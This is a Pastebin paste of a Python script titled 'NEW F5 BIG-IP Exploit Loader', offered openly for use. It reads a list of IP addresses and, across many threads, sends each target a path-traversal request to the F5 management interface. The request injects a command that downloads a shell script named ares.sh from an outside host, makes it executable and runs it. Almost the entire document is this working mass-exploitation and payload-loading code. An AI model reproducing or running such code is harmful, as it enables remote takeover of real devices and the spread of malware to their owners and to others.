Advertisement
KhaosBringer

NEW F5 BIG-IP Exploit Loader.py

Nov 21st, 2020
1,405
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.11 KB | None | 0 0
  1. #! python !#
  2. # -*- coding: utf-8 -*-
  3. # NEW F5 BIG-IP Exploit Loader made by B4CKDOOR - PRIVATE #
  4. # B4CKDOORARCHIVE.CLUB #
  5. import threading, sys, time, random, socket, re, os, struct, array, requests
  6. from threading import Thread
  7. from time import sleep
  8. import requests
  9. from requests.auth import HTTPDigestAuth
  10. from decimal import *  
  11.  
  12. if len(sys.argv) < 2:
  13.     print "\033[37mUsage: python "+sys.argv[0]+" <list>\033[37m"
  14.     sys.exit()
  15.    
  16. ips = open(sys.argv[1], "r").readlines()
  17.  
  18. class b4ckdoor(threading.Thread):
  19.         def __init__ (self, ip):
  20.             threading.Thread.__init__(self)
  21.             self.ip = str(ip).rstrip('\n')
  22.         def run(self):
  23.             try:
  24.                 print "\x1b[1;31m[\x1b[1;37mBig-Ip\x1b[1;31m]\x1b[1;37m Loading\x1b[1;31m[\x1b[1;36m\x1b[1;31m]" + self.ip
  25.                 url = "http://" + self.ip + "/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=wget+http%3A%2F%2F1.1.1.1%2Fares.sh+%3B+chmod+777+ares.sh+%3B+sh+ares.sh"
  26.                                
  27.                 requests.get(url, timeout=3)
  28.  
  29.             except Exception as e:
  30.                 pass
  31. for ip in ips:
  32.     try:
  33.         n = b4ckdoor(ip)
  34.         n.start()
  35.         time.sleep(0.03)
  36.     except:
  37.         pass#B4CKDOOR
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement